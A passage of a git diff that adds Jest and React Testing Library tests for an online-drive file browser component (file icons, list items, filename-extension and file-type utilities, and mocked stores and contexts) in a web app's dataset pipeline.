+      const { container } = render(
+        <ActualFileIcon type={OnlineDriveFileType.folder} fileName="document.pdf" />,
+      )
+      const svg = container.querySelector('svg')
+      expect(svg).toBeInTheDocument()
+    })
+
+    it('should determine file type based on fileName extension', () => {
+      const { container } = render(
+        <ActualFileIcon type={OnlineDriveFileType.file} fileName="image.gif" />,
+      )
+      expect(container.firstChild).toBeInTheDocument()
+    })
+  })
+
+  describe('Component Memoization', () => {
+    it('should be wrapped with React.memo', () => {
+      expect(ActualFileIcon).toHaveProperty('$$typeof', Symbol.for('react.memo'))
+    })
+  })
+
+  describe('Edge Cases', () => {
+    it('should handle empty fileName', () => {
+      const { container } = render(
+        <ActualFileIcon type={OnlineDriveFileType.file} fileName="" />,
+      )
+      expect(container.firstChild).toBeInTheDocument()
+    })
+
+    it('should handle fileName without extension', () => {
+      const { container } = render(
+        <ActualFileIcon type={OnlineDriveFileType.file} fileName="README" />,
+      )
+      expect(container.firstChild).toBeInTheDocument()
+    })
+
+    it('should handle special characters in fileName', () => {
+      const { container } = render(
+        <ActualFileIcon type={OnlineDriveFileType.file} fileName="文件 (1).pdf" />,
+      )
+      expect(container.firstChild).toBeInTheDocument()
+    })
+
+    it('should handle very long fileName', () => {
+      const longFileName = `${'a'.repeat(500)}.pdf`
+      const { container } = render(
+        <ActualFileIcon type={OnlineDriveFileType.file} fileName={longFileName} />,
+      )
+      expect(container.firstChild).toBeInTheDocument()
+    })
+  })
+
+  describe('Styling', () => {
+    it('should apply default size class to bucket icon', () => {
+      const { container } = render(
+        <ActualFileIcon type={OnlineDriveFileType.bucket} fileName="bucket" />,
+      )
+      const svg = container.querySelector('svg')
+      expect(svg).toHaveClass('size-[18px]')
+    })
+
+    it('should apply default size class to folder icon', () => {
+      const { container } = render(
+        <ActualFileIcon type={OnlineDriveFileType.folder} fileName="folder" />,
+      )
+      const svg = container.querySelector('svg')
+      expect(svg).toHaveClass('size-[18px]')
+    })
+  })
+})
+
+// ==========================================
+// Item Component Tests (using actual component)
+// ==========================================
+describe('Item', () => {
+  // Get real component for testing
+  const ActualItem = jest.requireActual('./item').default
+
+  type ItemProps = {
+    file: OnlineDriveFile
+    isSelected: boolean
+    disabled?: boolean
+    isMultipleChoice?: boolean
+    onSelect: (file: OnlineDriveFile) => void
+    onOpen: (file: OnlineDriveFile) => void
+  }
+
+  // Reuse createMockOnlineDriveFile from outer scope
+  const createItemProps = (overrides?: Partial<ItemProps>): ItemProps => ({
+    file: createMockOnlineDriveFile(),
+    isSelected: false,
+    onSelect: jest.fn(),
+    onOpen: jest.fn(),
+    ...overrides,
+  })
+
+  // Helper to find custom checkbox element (div-based implementation)
+  const findCheckbox = (container: HTMLElement) => container.querySelector('[data-testid^="checkbox-"]')
+  // Helper to find custom radio element (div-based implementation)
+  const findRadio = (container: HTMLElement) => container.querySelector('.rounded-full.size-4')
+
+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+
+  describe('Rendering', () => {
+    it('should render without crashing', () => {
+      const props = createItemProps()
+      render(<ActualItem {...props} />)
+      expect(screen.getByText('test-file.txt')).toBeInTheDocument()
+    })
+
+    it('should render file name', () => {
+      const props = createItemProps({
+        file: createMockOnlineDriveFile({ name: 'document.pdf' }),
+      })
+      render(<ActualItem {...props} />)
+      expect(screen.getByText('document.pdf')).toBeInTheDocument()
+    })
+
+    it('should render file size for file type', () => {
+      const props = createItemProps({
+        file: createMockOnlineDriveFile({ size: 1024, type: OnlineDriveFileType.file }),
+      })
+      render(<ActualItem {...props} />)
+      expect(screen.getByText('1.00 KB')).toBeInTheDocument()
+    })
+
+    it('should not render file size for folder type', () => {
+      const props = createItemProps({
+        file: createMockOnlineDriveFile({ size: 1024, type: OnlineDriveFileType.folder, name: 'Documents' }),
+      })
+      render(<ActualItem {...props} />)
+      expect(screen.queryByText('1 KB')).not.toBeInTheDocument()
+    })
+
+    it('should render checkbox in multiple choice mode for file', () => {
+      const props = createItemProps({
+        isMultipleChoice: true,
+        file: createMockOnlineDriveFile({ type: OnlineDriveFileType.file }),
+      })
+      const { container } = render(<ActualItem {...props} />)
+      expect(findCheckbox(container)).toBeInTheDocument()
+    })
+
+    it('should render radio in single choice mode for file', () => {
+      const props = createItemProps({
+        isMultipleChoice: false,
+        file: createMockOnlineDriveFile({ type: OnlineDriveFileType.file }),
+      })
+      const { container } = render(<ActualItem {...props} />)
+      expect(findRadio(container)).toBeInTheDocument()
+    })
+
+    it('should not render checkbox or radio for bucket type', () => {
+      const props = createItemProps({
+        file: createMockOnlineDriveFile({ type: OnlineDriveFileType.bucket, name: 'my-bucket' }),
+        isMultipleChoice: true,
+      })
+      const { container } = render(<ActualItem {...props} />)
+      expect(findCheckbox(container)).not.toBeInTheDocument()
+      expect(findRadio(container)).not.toBeInTheDocument()
+    })
+
+    it('should render with title attribute for file name', () => {
+      const props = createItemProps({
+        file: createMockOnlineDriveFile({ name: 'very-long-file-name.txt' }),
+      })
+      render(<ActualItem {...props} />)
+      expect(screen.getByTitle('very-long-file-name.txt')).toBeInTheDocument()
+    })
+  })
+
+  describe('Props', () => {
+    describe('isSelected prop', () => {
+      it('should show checkbox as checked when isSelected is true', () => {
+        const props = createItemProps({ isSelected: true, isMultipleChoice: true })
+        const { container } = render(<ActualItem {...props} />)
+        const checkbox = findCheckbox(container)
+        // Checked checkbox shows check icon
+        expect(checkbox?.querySelector('[data-testid^="check-icon-"]')).toBeInTheDocument()
+      })
+
+      it('should show checkbox as unchecked when isSelected is false', () => {
+        const props = createItemProps({ isSelected: false, isMultipleChoice: true })
+        const { container } = render(<ActualItem {...props} />)
+        const checkbox = findCheckbox(container)
+        // Unchecked checkbox has no check icon
+        expect(checkbox?.querySelector('[data-testid^="check-icon-"]')).not.toBeInTheDocument()
+      })
+
+      it('should show radio as checked when isSelected is true', () => {
+        const props = createItemProps({ isSelected: true, isMultipleChoice: false })
+        const { container } = render(<ActualItem {...props} />)
+        const radio = findRadio(container)
+        // Checked radio has border-[5px] class
+        expect(radio).toHaveClass('border-[5px]')
+      })
+    })
+
+    describe('disabled prop', () => {
+      it('should apply opacity class when disabled', () => {
+        const props = createItemProps({ disabled: true })
+        const { container } = render(<ActualItem {...props} />)
+        expect(container.querySelector('.opacity-30')).toBeInTheDocument()
+      })
+
+      it('should apply disabled styles to checkbox when disabled', () => {
+        const props = createItemProps({ disabled: true, isMultipleChoice: true })
+        const { container } = render(<ActualItem {...props} />)
+        const checkbox = findCheckbox(container)
+        expect(checkbox).toHaveClass('cursor-not-allowed')
+      })
+
+      it('should apply disabled styles to radio when disabled', () => {
+        const props = createItemProps({ disabled: true, isMultipleChoice: false })
+        const { container } = render(<ActualItem {...props} />)
+        const radio = findRadio(container)
+        expect(radio).toHaveClass('border-components-radio-border-disabled')
+      })
+    })
+
+    describe('isMultipleChoice prop', () => {
+      it('should default to true', () => {
+        const props = createItemProps()
+        delete (props as Partial<ItemProps>).isMultipleChoice
+        const { container } = render(<ActualItem {...props} />)
+        expect(findCheckbox(container)).toBeInTheDocument()
+      })
+
+      it('should render checkbox when true', () => {
+        const props = createItemProps({ isMultipleChoice: true })
+        const { container } = render(<ActualItem {...props} />)
+        expect(findCheckbox(container)).toBeInTheDocument()
+        expect(findRadio(container)).not.toBeInTheDocument()
+      })
+
+      it('should render radio when false', () => {
+        const props = createItemProps({ isMultipleChoice: false })
+        const { container } = render(<ActualItem {...props} />)
+        expect(findRadio(container)).toBeInTheDocument()
+        expect(findCheckbox(container)).not.toBeInTheDocument()
+      })
+    })
+  })
+
+  describe('User Interactions', () => {
+    describe('Click on Item', () => {
+      it('should call onSelect when clicking on file item', () => {
+        const onSelect = jest.fn()
+        const file = createMockOnlineDriveFile({ type: OnlineDriveFileType.file })
+        const props = createItemProps({ file, onSelect })
+        render(<ActualItem {...props} />)
+        fireEvent.click(screen.getByText('test-file.txt'))
+        expect(onSelect).toHaveBeenCalledWith(file)
+      })
+
+      it('should call onOpen when clicking on folder item', () => {
+        const onOpen = jest.fn()
+        const file = createMockOnlineDriveFile({ type: OnlineDriveFileType.folder, name: 'Documents' })
+        const props = createItemProps({ file, onOpen })
+        render(<ActualItem {...props} />)
+        fireEvent.click(screen.getByText('Documents'))
+        expect(onOpen).toHaveBeenCalledWith(file)
+      })
+
+      it('should call onOpen when clicking on bucket item', () => {
+        const onOpen = jest.fn()
+        const file = createMockOnlineDriveFile({ type: OnlineDriveFileType.bucket, name: 'my-bucket' })
+        const props = createItemProps({ file, onOpen })
+        render(<ActualItem {...props} />)
+        fireEvent.click(screen.getByText('my-bucket'))
+        expect(onOpen).toHaveBeenCalledWith(file)
+      })
+
+      it('should not call any handler when clicking disabled item', () => {
+        const onSelect = jest.fn()
+        const onOpen = jest.fn()
+        const props = createItemProps({ disabled: true, onSelect, onOpen })
+        render(<ActualItem {...props} />)
+        fireEvent.click(screen.getByText('test-file.txt'))
+        expect(onSelect).not.toHaveBeenCalled()
+        expect(onOpen).not.toHaveBeenCalled()
+      })
+    })
+
+    describe('Click on Checkbox/Radio', () => {
+      it('should call onSelect when clicking checkbox', () => {
+        const onSelect = jest.fn()
+        const file = createMockOnlineDriveFile()
+        const props = createItemProps({ file, onSelect, isMultipleChoice: true })
+        const { container } = render(<ActualItem {...props} />)
+        const checkbox = findCheckbox(container)
+        fireEvent.click(checkbox!)
+        expect(onSelect).toHaveBeenCalledWith(file)
+      })
+
+      it('should call onSelect when clicking radio', () => {
+        const onSelect = jest.fn()
+        const file = createMockOnlineDriveFile()
+        const props = createItemProps({ file, onSelect, isMultipleChoice: false })
+        const { container } = render(<ActualItem {...props} />)
+        const radio = findRadio(container)
+        fireEvent.click(radio!)
+        expect(onSelect).toHaveBeenCalledWith(file)
+      })
+
+      it('should stop event propagation when clicking checkbox', () => {
+        const onSelect = jest.fn()
+        const file = createMockOnlineDriveFile()
+        const props = createItemProps({ file, onSelect, isMultipleChoice: true })
+        const { container } = render(<ActualItem {...props} />)
+        const checkbox = findCheckbox(container)
+        fireEvent.click(checkbox!)
+        expect(onSelect).toHaveBeenCalledTimes(1)
+      })
+    })
+  })
+
+  describe('Component Memoization', () => {
+    it('should be wrapped with React.memo', () => {
+      expect(ActualItem).toHaveProperty('$$typeof', Symbol.for('react.memo'))
+    })
+  })
+
+  describe('Edge Cases', () => {
+    it('should handle empty file name', () => {
+      const props = createItemProps({ file: createMockOnlineDriveFile({ name: '' }) })
+      render(<ActualItem {...props} />)
+      expect(document.body).toBeInTheDocument()
+    })
+
+    it('should handle very long file name', () => {
+      const longName = `${'a'.repeat(500)}.txt`
+      const props = createItemProps({ file: createMockOnlineDriveFile({ name: longName }) })
+      render(<ActualItem {...props} />)
+      expect(screen.getByText(longName)).toBeInTheDocument()
+    })
+
+    it('should handle special characters in file name', () => {
+      const specialName = '文件 <test> (1).pdf'
+      const props = createItemProps({ file: createMockOnlineDriveFile({ name: specialName }) })
+      render(<ActualItem {...props} />)
+      expect(screen.getByText(specialName)).toBeInTheDocument()
+    })
+
+    it('should handle zero file size', () => {
+      const props = createItemProps({ file: createMockOnlineDriveFile({ size: 0 }) })
+      render(<ActualItem {...props} />)
+      // formatFileSize returns 0 for size 0
+      expect(screen.getByText('0')).toBeInTheDocument()
+    })
+
+    it('should handle very large file size', () => {
+      const props = createItemProps({ file: createMockOnlineDriveFile({ size: 1024 * 1024 * 1024 * 5 }) })
+      render(<ActualItem {...props} />)
+      expect(screen.getByText('5.00 GB')).toBeInTheDocument()
+    })
+  })
+
+  describe('Styling', () => {
+    it('should have cursor-pointer class', () => {
+      const props = createItemProps()
+      const { container } = render(<ActualItem {...props} />)
+      expect(container.firstChild).toHaveClass('cursor-pointer')
+    })
+
+    it('should have hover class', () => {
+      const props = createItemProps()
+      const { container } = render(<ActualItem {...props} />)
+      expect(container.firstChild).toHaveClass('hover:bg-state-base-hover')
+    })
+
+    it('should truncate file name', () => {
+      const props = createItemProps()
+      render(<ActualItem {...props} />)
+      const nameElement = screen.getByText('test-file.txt')
+      expect(nameElement).toHaveClass('truncate')
+    })
+  })
+
+  describe('Prop Variations', () => {
+    it.each([
+      { isSelected: true, isMultipleChoice: true, disabled: false },
+      { isSelected: true, isMultipleChoice: false, disabled: false },
+      { isSelected: false, isMultipleChoice: true, disabled: false },
+      { isSelected: false, isMultipleChoice: false, disabled: false },
+      { isSelected: true, isMultipleChoice: true, disabled: true },
+      { isSelected: false, isMultipleChoice: false, disabled: true },
+    ])('should render with isSelected=$isSelected, isMultipleChoice=$isMultipleChoice, disabled=$disabled',
+      ({ isSelected, isMultipleChoice, disabled }) => {
+        const props = createItemProps({ isSelected, isMultipleChoice, disabled })
+        const { container } = render(<ActualItem {...props} />)
+        if (isMultipleChoice) {
+          const checkbox = findCheckbox(container)
+          expect(checkbox).toBeInTheDocument()
+          if (isSelected)
+            expect(checkbox?.querySelector('[data-testid^="check-icon-"]')).toBeInTheDocument()
+          if (disabled)
+            expect(checkbox).toHaveClass('cursor-not-allowed')
+        }
+        else {
+          const radio = findRadio(container)
+          expect(radio).toBeInTheDocument()
+          if (isSelected)
+            expect(radio).toHaveClass('border-[5px]')
+          if (disabled)
+            expect(radio).toHaveClass('border-components-radio-border-disabled')
+        }
+      })
+  })
+})
+
+// ==========================================
+// Utils Tests
+// ==========================================
+describe('utils', () => {
+  // Import actual utils functions
+  const { getFileExtension, getFileType } = jest.requireActual('./utils')
+  const { FileAppearanceTypeEnum } = jest.requireActual('@/app/components/base/file-uploader/types')
+
+  describe('getFileExtension', () => {
+    describe('Basic Functionality', () => {
+      it('should return file extension for normal file names', () => {
+        expect(getFileExtension('document.pdf')).toBe('pdf')
+        expect(getFileExtension('image.PNG')).toBe('png')
+        expect(getFileExtension('data.JSON')).toBe('json')
+      })
+
+      it('should return lowercase extension', () => {
+        expect(getFileExtension('FILE.PDF')).toBe('pdf')
+        expect(getFileExtension('IMAGE.JPEG')).toBe('jpeg')
+        expect(getFileExtension('Doc.TXT')).toBe('txt')
+      })
+
+      it('should handle multiple dots in filename', () => {
+        expect(getFileExtension('file.backup.tar.gz')).toBe('gz')
+        expect(getFileExtension('my.document.v2.pdf')).toBe('pdf')
+        expect(getFileExtension('test.spec.ts')).toBe('ts')
+      })
+    })
+
+    describe('Edge Cases', () => {
+      it('should return empty string for empty filename', () => {
+        expect(getFileExtension('')).toBe('')
+      })
+
+      it('should return empty string for filename without extension', () => {
+        expect(getFileExtension('README')).toBe('')
+        expect(getFileExtension('Makefile')).toBe('')
+      })
+
+      it('should return empty string for hidden files without extension', () => {
+        expect(getFileExtension('.gitignore')).toBe('')
+        expect(getFileExtension('.env')).toBe('')
+      })
+
+      it('should handle hidden files with extension', () => {
+        expect(getFileExtension('.eslintrc.json')).toBe('json')
+        expect(getFileExtension('.config.yaml')).toBe('yaml')
+      })
+
+      it('should handle files ending with dot', () => {
+        expect(getFileExtension('file.')).toBe('')
+      })
+
+      it('should handle special characters in filename', () => {
+        expect(getFileExtension('file-name_v1.0.pdf')).toBe('pdf')
+        expect(getFileExtension('data (1).xlsx')).toBe('xlsx')
+      })
+    })
+
+    describe('Boundary Conditions', () => {
+      it('should handle very long file extensions', () => {
+        expect(getFileExtension('file.verylongextension')).toBe('verylongextension')
+      })
+
+      it('should handle single character extensions', () => {
+        expect(getFileExtension('file.a')).toBe('a')
+        expect(getFileExtension('data.c')).toBe('c')
+      })
+
+      it('should handle numeric extensions', () => {
+        expect(getFileExtension('file.001')).toBe('001')
+        expect(getFileExtension('backup.123')).toBe('123')
+      })
+    })
+  })
+
+  describe('getFileType', () => {
+    describe('Image Files', () => {
+      it('should return gif type for gif files', () => {
+        expect(getFileType('animation.gif')).toBe(FileAppearanceTypeEnum.gif)
+        expect(getFileType('image.GIF')).toBe(FileAppearanceTypeEnum.gif)
+      })
+
+      it('should return image type for common image formats', () => {
+        expect(getFileType('photo.jpg')).toBe(FileAppearanceTypeEnum.image)
+        expect(getFileType('photo.jpeg')).toBe(FileAppearanceTypeEnum.image)
+        expect(getFileType('photo.png')).toBe(FileAppearanceTypeEnum.image)
+        expect(getFileType('photo.webp')).toBe(FileAppearanceTypeEnum.image)
+        expect(getFileType('photo.svg')).toBe(FileAppearanceTypeEnum.image)
+      })
+    })
+
+    describe('Video Files', () => {
+      it('should return video type for video formats', () => {
+        expect(getFileType('movie.mp4')).toBe(FileAppearanceTypeEnum.video)
+        expect(getFileType('clip.mov')).toBe(FileAppearanceTypeEnum.video)
+        expect(getFileType('video.webm')).toBe(FileAppearanceTypeEnum.video)
+        expect(getFileType('recording.mpeg')).toBe(FileAppearanceTypeEnum.video)
+      })
+    })
+
+    describe('Audio Files', () => {
+      it('should return audio type for audio formats', () => {
+        expect(getFileType('song.mp3')).toBe(FileAppearanceTypeEnum.audio)
+        expect(getFileType('podcast.wav')).toBe(FileAppearanceTypeEnum.audio)
+        expect(getFileType('audio.m4a')).toBe(FileAppearanceTypeEnum.audio)
+        expect(getFileType('music.mpga')).toBe(FileAppearanceTypeEnum.audio)
+      })
+    })
+
+    describe('Code Files', () => {
+      it('should return code type for code-related formats', () => {
+        expect(getFileType('page.html')).toBe(FileAppearanceTypeEnum.code)
+        expect(getFileType('page.htm')).toBe(FileAppearanceTypeEnum.code)
+        expect(getFileType('config.xml')).toBe(FileAppearanceTypeEnum.code)
+        expect(getFileType('data.json')).toBe(FileAppearanceTypeEnum.code)
+      })
+    })
+
+    describe('Document Files', () => {
+      it('should return pdf type for PDF files', () => {
+        expect(getFileType('document.pdf')).toBe(FileAppearanceTypeEnum.pdf)
+        expect(getFileType('report.PDF')).toBe(FileAppearanceTypeEnum.pdf)
+      })
+
+      it('should return markdown type for markdown files', () => {
+        expect(getFileType('README.md')).toBe(FileAppearanceTypeEnum.markdown)
+        expect(getFileType('doc.markdown')).toBe(FileAppearanceTypeEnum.markdown)
+        expect(getFileType('guide.mdx')).toBe(FileAppearanceTypeEnum.markdown)
+      })
+
+      it('should return excel type for spreadsheet files', () => {
+        expect(getFileType('data.xlsx')).toBe(FileAppearanceTypeEnum.excel)
+        expect(getFileType('data.xls')).toBe(FileAppearanceTypeEnum.excel)
+        expect(getFileType('data.csv')).toBe(FileAppearanceTypeEnum.excel)
+      })
+
+      it('should return word type for Word documents', () => {
+        expect(getFileType('document.docx')).toBe(FileAppearanceTypeEnum.word)
+        expect(getFileType('document.doc')).toBe(FileAppearanceTypeEnum.word)
+      })
+
+      it('should return ppt type for PowerPoint files', () => {
+        expect(getFileType('presentation.pptx')).toBe(FileAppearanceTypeEnum.ppt)
+        expect(getFileType('slides.ppt')).toBe(FileAppearanceTypeEnum.ppt)
+      })
+
+      it('should return document type for text files', () => {
+        expect(getFileType('notes.txt')).toBe(FileAppearanceTypeEnum.document)
+      })
+    })
+
+    describe('Unknown Files', () => {
+      it('should return custom type for unknown extensions', () => {
+        expect(getFileType('file.xyz')).toBe(FileAppearanceTypeEnum.custom)
+        expect(getFileType('data.unknown')).toBe(FileAppearanceTypeEnum.custom)
+        expect(getFileType('binary.bin')).toBe(FileAppearanceTypeEnum.custom)
+      })
+
+      it('should return custom type for files without extension', () => {
+        expect(getFileType('README')).toBe(FileAppearanceTypeEnum.custom)
+        expect(getFileType('Makefile')).toBe(FileAppearanceTypeEnum.custom)
+      })
+
+      it('should return custom type for empty filename', () => {
+        expect(getFileType('')).toBe(FileAppearanceTypeEnum.custom)
+      })
+    })
+
+    describe('Case Insensitivity', () => {
+      it('should handle uppercase extensions', () => {
+        expect(getFileType('file.PDF')).toBe(FileAppearanceTypeEnum.pdf)
+        expect(getFileType('file.DOCX')).toBe(FileAppearanceTypeEnum.word)
+        expect(getFileType('file.XLSX')).toBe(FileAppearanceTypeEnum.excel)
+      })
+
+      it('should handle mixed case extensions', () => {
+        expect(getFileType('file.Pdf')).toBe(FileAppearanceTypeEnum.pdf)
+        expect(getFileType('file.DocX')).toBe(FileAppearanceTypeEnum.word)
+      })
+    })
+  })
+})
diff --git a/web/app/components/datasets/documents/create-from-pipeline/data-source/online-drive/file-list/list/item.tsx b/web/app/components/datasets/documents/create-from-pipeline/data-source/online-drive/file-list/list/item.tsx
index 85c385d586..8b87718615 100644
--- a/web/app/components/datasets/documents/create-from-pipeline/data-source/online-drive/file-list/list/item.tsx
+++ b/web/app/components/datasets/documents/create-from-pipeline/data-source/online-drive/file-list/list/item.tsx
@@ -6,7 +6,7 @@ import FileIcon from './file-icon'
 import { formatFileSize } from '@/utils/format'
 import Tooltip from '@/app/components/base/tooltip'
 import { useTranslation } from 'react-i18next'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import type { Placement } from '@floating-ui/react'
 
 type ItemProps = {
diff --git a/web/app/components/datasets/documents/create-from-pipeline/data-source/online-drive/index.spec.tsx b/web/app/components/datasets/documents/create-from-pipeline/data-source/online-drive/index.spec.tsx
new file mode 100644
index 0000000000..125a2192aa
--- /dev/null
+++ b/web/app/components/datasets/documents/create-from-pipeline/data-source/online-drive/index.spec.tsx
@@ -0,0 +1,1895 @@
+import { fireEvent, render, screen, waitFor } from '@testing-library/react'
+import React from 'react'
+import OnlineDrive from './index'
+import Header from './header'
+import { convertOnlineDriveData, isBucketListInitiation, isFile } from './utils'
+import type { OnlineDriveFile } from '@/models/pipeline'
+import { DatasourceType, OnlineDriveFileType } from '@/models/pipeline'
+import type { DataSourceNodeType } from '@/app/components/workflow/nodes/data-source/types'
+import { ACCOUNT_SETTING_TAB } from '@/app/components/header/account-setting/constants'
+import type { OnlineDriveData } from '@/types/pipeline'
+
+// ==========================================
+// Mock Modules
+// ==========================================
+
+// Note: react-i18next uses global mock from web/__mocks__/react-i18next.ts
+
+// Mock useDocLink - context hook requires mocking
+const mockDocLink = jest.fn((path?: string) => `https://docs.example.com${path || ''}`)
+jest.mock('@/context/i18n', () => ({
+  useDocLink: () => mockDocLink,
+}))
+
+// Mock dataset-detail context - context provider requires mocking
+let mockPipelineId: string | undefined = 'pipeline-123'
+jest.mock('@/context/dataset-detail', () => ({
+  useDatasetDetailContextWithSelector: (selector: (s: any) => any) => selector({ dataset: { pipeline_id: mockPipelineId } }),
+}))
+
+// Mock modal context - context provider requires mocking
+const mockSetShowAccountSettingModal = jest.fn()
+jest.mock('@/context/modal-context', () => ({
+  useModalContextSelector: (selector: (s: any) => any) => selector({ setShowAccountSettingModal: mockSetShowAccountSettingModal }),
+}))
+
+// Mock ssePost - API service requires mocking
+const mockSsePost = jest.fn()
+jest.mock('@/service/base', () => ({
+  ssePost: (...args: any[]) => mockSsePost(...args),
+}))
+
+// Mock useGetDataSourceAuth - API service hook requires mocking
+const mockUseGetDataSourceAuth = jest.fn()
+jest.mock('@/service/use-datasource', () => ({
+  useGetDataSourceAuth: (params: any) => mockUseGetDataSourceAuth(params),
+}))
+
+// Mock Toast
+const mockToastNotify = jest.fn()
+jest.mock('@/app/components/base/toast', () => ({
+  __esModule: true,
+  default: {
+    notify: (...args: any[]) => mockToastNotify(...args),
+  },
+}))
+
+// Note: zustand/react/shallow useShallow is imported directly (simple utility function)
+
+// Mock store state
+const mockStoreState = {
+  nextPageParameters: {} as Record<string, any>,
+  breadcrumbs: [] as string[],
+  prefix: [] as string[],
+  keywords: '',
+  bucket: '',
+  selectedFileIds: [] as string[],
+  onlineDriveFileList: [] as OnlineDriveFile[],
+  currentCredentialId: '',
+  isTruncated: { current: false },
+  currentNextPageParametersRef: { current: {} },
+  setOnlineDriveFileList: jest.fn(),
+  setKeywords: jest.fn(),
+  setSelectedFileIds: jest.fn(),
+  setBreadcrumbs: jest.fn(),
+  setPrefix: jest.fn(),
+  setBucket: jest.fn(),
+  setHasBucket: jest.fn(),
+}
+
+const mockGetState = jest.fn(() => mockStoreState)
+const mockDataSourceStore = { getState: mockGetState }
+
+jest.mock('../store', () => ({
+  useDataSourceStoreWithSelector: (selector: (s: any) => any) => selector(mockStoreState),
+  useDataSourceStore: () => mockDataSourceStore,
+}))
+
+// Mock Header component
+jest.mock('../base/header', () => {
+  const MockHeader = (props: any) => (
+    <div data-testid="header">
+      <span data-testid="header-doc-title">{props.docTitle}</span>
+      <span data-testid="header-doc-link">{props.docLink}</span>
+      <span data-testid="header-plugin-name">{props.pluginName}</span>
+      <span data-testid="header-credential-id">{props.currentCredentialId}</span>
+      <button data-testid="header-config-btn" onClick={props.onClickConfiguration}>Configure</button>
+      <button data-testid="header-credential-change" onClick={() => props.onCredentialChange('new-cred-id')}>Change Credential</button>
+      <span data-testid="header-credentials-count">{props.credentials?.length || 0}</span>
+    </div>
+  )
+  return MockHeader
+})
+
+// Mock FileList component
+jest.mock('./file-list', () => {
+  const MockFileList = (props: any) => (
+    <div data-testid="file-list">
+      <span data-testid="file-list-count">{props.fileList?.length || 0}</span>
+      <span data-testid="file-list-selected-count">{props.selectedFileIds?.length || 0}</span>
+      <span data-testid="file-list-breadcrumbs">{props.breadcrumbs?.join('/') || ''}</span>
+      <span data-testid="file-list-keywords">{props.keywords}</span>
+      <span data-testid="file-list-bucket">{props.bucket}</span>
+      <span data-testid="file-list-loading">{String(props.isLoading)}</span>
+      <span data-testid="file-list-is-in-pipeline">{String(props.isInPipeline)}</span>
+      <span data-testid="file-list-support-batch">{String(props.supportBatchUpload)}</span>
+      <input
+        data-testid="file-list-search-input"
+        onChange={e => props.updateKeywords(e.target.value)}
+      />
+      <button data-testid="file-list-reset-keywords" onClick={props.resetKeywords}>Reset</button>
+      <button
+        data-testid="file-list-select-file"
+        onClick={() => {
+          const file: OnlineDriveFile = { id: 'file-1', name: 'test.txt', type: OnlineDriveFileType.file }
+          props.handleSelectFile(file)
+        }}
+      >
+        Select File
+      </button>
+      <button
+        data-testid="file-list-select-bucket"
+        onClick={() => {
+          const file: OnlineDriveFile = { id: 'bucket-1', name: 'my-bucket', type: OnlineDriveFileType.bucket }
+          props.handleSelectFile(file)
+        }}
+      >
+        Select Bucket
+      </button>
+      <button
+        data-testid="file-list-open-folder"
+        onClick={() => {
+          const file: OnlineDriveFile = { id: 'folder-1', name: 'my-folder', type: OnlineDriveFileType.folder }
+          props.handleOpenFolder(file)
+        }}
+      >
+        Open Folder
+      </button>
+      <button
+        data-testid="file-list-open-bucket"
+        onClick={() => {
+          const file: OnlineDriveFile = { id: 'bucket-1', name: 'my-bucket', type: OnlineDriveFileType.bucket }
+          props.handleOpenFolder(file)
+        }}
+      >
+        Open Bucket
+      </button>
+      <button
+        data-testid="file-list-open-file"
+        onClick={() => {
+          const file: OnlineDriveFile = { id: 'file-1', name: 'test.txt', type: OnlineDriveFileType.file }
+          props.handleOpenFolder(file)
+        }}
+      >
+        Open File
+      </button>
+    </div>
+  )
+  return MockFileList
+})
+
+// ==========================================
+// Test Data Builders
+// ==========================================
+const createMockNodeData = (overrides?: Partial<DataSourceNodeType>): DataSourceNodeType => ({
+  title: 'Test Node',
+  plugin_id: 'plugin-123',
+  provider_type: 'online_drive',
+  provider_name: 'online-drive-provider',
+  datasource_name: 'online-drive-ds',
+  datasource_label: 'Online Drive',
+  datasource_parameters: {},
+  datasource_configurations: {},
+  ...overrides,
+} as DataSourceNodeType)
+
+const createMockOnlineDriveFile = (overrides?: Partial<OnlineDriveFile>): OnlineDriveFile => ({
+  id: 'file-1',
+  name: 'test-file.txt',
+  size: 1024,
+  type: OnlineDriveFileType.file,
+  ...overrides,
+})
+
+const createMockCredential = (overrides?: Partial<{ id: string; name: string }>) => ({
+  id: 'cred-1',
+  name: 'Test Credential',
+  avatar_url: 'https://example.com/avatar.png',
+  credential: {},
+  is_default: false,
+  type: 'oauth2',
+  ...overrides,
+})
+
+type OnlineDriveProps = React.ComponentProps<typeof OnlineDrive>
+
+const createDefaultProps = (overrides?: Partial<OnlineDriveProps>): OnlineDriveProps => ({
+  nodeId: 'node-1',
+  nodeData: createMockNodeData(),
+  onCredentialChange: jest.fn(),
+  isInPipeline: false,
+  supportBatchUpload: true,
+  ...overrides,
+})
+
+// ==========================================
+// Helper Functions
+// ==========================================
+const resetMockStoreState = () => {
+  mockStoreState.nextPageParameters = {}
+  mockStoreState.breadcrumbs = []
+  mockStoreState.prefix = []
+  mockStoreState.keywords = ''
+  mockStoreState.bucket = ''
+  mockStoreState.selectedFileIds = []
+  mockStoreState.onlineDriveFileList = []
+  mockStoreState.currentCredentialId = ''
+  mockStoreState.isTruncated = { current: false }
+  mockStoreState.currentNextPageParametersRef = { current: {} }
+  mockStoreState.setOnlineDriveFileList = jest.fn()
+  mockStoreState.setKeywords = jest.fn()
+  mockStoreState.setSelectedFileIds = jest.fn()
+  mockStoreState.setBreadcrumbs = jest.fn()
+  mockStoreState.setPrefix = jest.fn()
+  mockStoreState.setBucket = jest.fn()
+  mockStoreState.setHasBucket = jest.fn()
+}
+
+// ==========================================
+// Test Suites
+// ==========================================
+describe('OnlineDrive', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+
+    // Reset store state
+    resetMockStoreState()
+
+    // Reset context values
+    mockPipelineId = 'pipeline-123'
+    mockSetShowAccountSettingModal.mockClear()
+
+    // Default mock return values
+    mockUseGetDataSourceAuth.mockReturnValue({
+      data: { result: [createMockCredential()] },
+    })
+
+    mockGetState.mockReturnValue(mockStoreState)
+  })
+
+  // ==========================================
+  // Rendering Tests
+  // ==========================================
+  describe('Rendering', () => {
+    it('should render without crashing', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      render(<OnlineDrive {...props} />)
+
+      // Assert
+      expect(screen.getByTestId('header')).toBeInTheDocument()
+      expect(screen.getByTestId('file-list')).toBeInTheDocument()
+    })
+
+    it('should render Header with correct props', () => {
+      // Arrange
+      mockStoreState.currentCredentialId = 'cred-123'
+      const props = createDefaultProps({
+        nodeData: createMockNodeData({ datasource_label: 'My Online Drive' }),
+      })
+
+      // Act
+      render(<OnlineDrive {...props} />)
